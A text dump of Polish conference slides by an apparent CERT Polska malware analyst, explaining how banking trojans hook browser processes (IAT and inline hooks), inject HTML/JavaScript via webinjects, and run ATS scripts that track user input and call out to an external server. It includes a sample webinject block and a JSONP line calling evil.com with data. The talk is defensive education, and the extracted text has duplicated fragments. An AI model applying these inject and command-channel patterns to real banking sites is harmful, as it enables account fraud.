Od assemblera do html5

Wielkość: px

Rozpocząć pokaz od strony:

Download "Od assemblera do html5"

Jakub Marciniak
8 lat temu
Przeglądów:

1 Od assemblera do html5 czyli jak się dziś kradnie pieniądze Tomasz keidii Bukowski

2 @~# id Cert Polska malware hunter / devops member of DragonSector

3 Jak działaj internet jakaś między-sieć przeglądarka serwery banku

4 Jak działają komputery (przeglądarki) 1 2 magia wewnątrz komputera

5 Gdzie kraść pieniądze? 1 2

6 Jak działają komputery (przeglądarki) USER otwiera [ https : // bank.test / login ] rozbij URL na: a. protokół == https (-> port = 443) i. czyli http + SSL b. adres (domen) == bank.test c. zasób == login znajdź adres IP bank.test (zapytanie DNS poprzez API systemowe) połącz się z IP (socket / TCP, port 443) -> [1] wynegocjuj połączenie SSL przez [1] (zestaw kanał SSL) -> [2] a. weryfikacja certyfikatu (ważność, CA, Cname, etc) prześlij zapytanie HTTP przez [2] odczytaj odpowiedź na (6) przez [2] -> [3] przetwarzaj [3]

test (zapytanie DNS poprzez API systemowe) połącz się z IP (socket / TCP, port 443) -> [1] wynegocjuj połączenie SSL przez [1] (zestaw

7 Jak działają komputery (przeglądarki) 8. przetwarzaj [3] :-) a. odczytaj nagłówki b. odczytaj treść c. rozpocznij parsowanie dokumentu HTML i. ii. iii. pobierz dodatkowe treści renderuj! uruchamiaj skrypty (javascript) sprawdź Origin Policy sprawdz milion innych rzeczy tutaj dużo magii tutaj dużo magii

8 Jak działają komputery (przeglądarki) 8. przetwarzaj [3] :-) a. odczytaj nagłówki b. odczytaj treść c. rozpocznij parsowanie dokumentu HTML i. ii. iii. pobierz dodatkowe treści renderuj! uruchamiaj skrypty (javascript) sprawdź Origin Policy sprawdz milion innych rzeczy tutaj dużo magii tutaj dużo magii

9 Pomysł 1.0 Zmodyfikujmy treść dokumentu! Gdzie? (i dlaczego nie tam): routerek? MITM? system-level socket (ws2_32)? internalsy przeglądarki? inne pomysły?

10 stage 0 - infekcja

12 Pomysł 1.0 Czyńmy zło: Wstrzyknij kod do procesu(ów) przeglądarki (jesteśmy w domu :-) Wyszukaj funkcji odczytu/zapisu treści żądania Wstaw inline-hook (trampolina) do własnego kodu czyli?

13 Jaki malware? Tinba IFSB VMZeuS Slave Dyre Kronos Bublik SuperBankerTrojan2016?

14 Pomysł 1.0 1

15 ! UWAGA!! (prawie) assembler! tylko osoby pełnoletnie!

16 Hookowanie 1.0 pamięć procesu KOD IAT (tablica importów) socket_read -> 0x1234 cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam cośtam return

17 Hookowanie 1.0 pamięć procesu KOD IAT (tablica importów) evil.dll socket_read -> 0x9999 cośtam call socket_read() cośtam 0x999: inne cośtam return sockety.dll 0x1234: cośtam cośtam return

18 Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam1 cośtam2 return evil.dll 0x999: zlosliwe1 return

19 Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: cośtam1 cośtam2 return evil.dll 0x999: zlosliwe1 return

20 Hookowanie 2.0 pamięć procesu KOD cośtam call socket_read() cośtam sockety.dll 0x1234: GOTO 0x999 cośtam2 return evil.dll 0x999: zlosliwe1 cośtam1 GOTO 0x

21 Hookowanie 2.0 Problemy: 1. Pamięć ma atrybuty RWX a trzeba zapisać tam, gdzie powinno być tylko RX trzeba zachować cośtam1 i cośtam2 a. instrukcje są różnej wielkości b. nie można zostawic pół instruckji W evil.dll nie możemy wykozystać socket_read a. czemu?

22 HTTP (w końcu!) Gimnazjum && liceum ;-)

23 Prawie-proxy na strumieniu danych... Manipulacja zapytaniem/odpowiedzią HTTP HTTP = Headers + body O czym trzeba pamiętać: fix content-length fix content-encoding (multipart? chunked?) pomijać nie text/html (chyba że chcemy podmieniać kawałki obrazków!)

24 czyli Webinject... Jak (prawie) zawsze wygląda webinject? Gdzie set_url Co replace: <head> inject: <head><script id="myqwe1"> alert( zuo ); </script> <title>zuo</title> end_inject Jak

25 czyli Webinject... Przykłady

26 <HTML>

27 <HTML> PS: jest jakiś programista HTML na sali? PPS: programiści C powinni wyjść obrażeni :-)

28 Modyfikacja treści dokumentu... Możemy. wszystko* level easy: podmeńmy numery kont!!! trzeba hardkodować numer ;-( inne pomysły? *co jest dopuszczalne w ramach okna przeglądarki, czyli?

29 User-mode hook - demo TODO: pokazać demo

30 Pomysł 2.0 ATS - jak działa jamniczek* Do strony doklejamy kawał JS, który: odczytuje (śledzi) całą aktywność użytkownika komunikuje się z serwerem zewnęrznym onkeypres / onmousemove / obblur /... Jak? AJAX złamie SOP? wyswietla / ukrywa potrzeb jquery FTW / zmienia elementy strony w zależności od

31 ATS ATS - zróbmy tak : Zainfekowany komputer config update malware CNC Przeglądarka Malware SSL :-) Strona Bank XX YY ATS (JS-based quasi CNC) JSONp

32 ATS - js-framework JSONp (dla tych, którzy nie znają): TODO: Na stronie chcemy nawiązać komunikację z evil11.com <script src= ://evil.com/api.php?data=123&callback=func99 > RESPONSE: func99(show_message, MAMY CIĘ! );

33 ATS - przykład injectu TODO: pokazać przykład ;-)

34 Ostatni element...

35 Koniec. Tomasz KeiDii Bukowski keidii at mail dot com tomasz.bukowski at cert.pl Ciekawa Praca!

Podobne dokumenty

Wykład 5: Najważniejsze usługi sieciowe: DNS, SSH, HTTP, e-mail. A. Kisiel,Protokoły DNS, SSH, HTTP, e-mail

N, Wykład 5: Najważniejsze usługi sieciowe: DNS, SSH, HTTP, e-mail 1 Domain Name Service Usługa Domain Name Service (DNS) Protokół UDP (port 53), klient-serwer Sformalizowana w postaci protokołu DNS Odpowiada